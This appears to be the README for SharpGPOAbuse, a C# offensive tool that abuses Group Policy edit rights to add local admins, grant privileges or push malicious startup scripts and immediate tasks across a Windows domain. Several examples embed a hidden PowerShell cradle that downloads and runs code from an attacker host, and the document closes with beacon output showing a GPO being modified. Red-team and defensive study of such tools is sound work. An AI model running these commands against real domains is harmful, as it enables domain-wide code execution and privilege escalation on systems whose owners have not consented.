SharpGPOAbuse
SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
Compile Instructions
Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.
Usage
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
Attacks Types
Currently SharpGPOAbuse supports the following options:
| Option | Description |
|---|---|
| --AddUserRights | Add rights to a user |
| --AddLocalAdmin | Add a user to the local admins group |
| --AddComputerScript | Add a new computer startup script |
| --AddUserScript | Configure a user logon script |
| --AddComputerTask | Configure a computer immediate task |
| --AddUserTask | Add an immediate task to a user |
Attack Options
Adding User Rights
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Adding a Local Admin
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Configuring a User or Computer Logon Script
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Configuring a Computer or User Immediate Task
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
Additional Options
| Option | Description |
|---|---|
| --DomainController | Set the target domain controller |
| --Domain | Set the target domain |
| --Force | Overwrite existing files if required |
Example Output
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!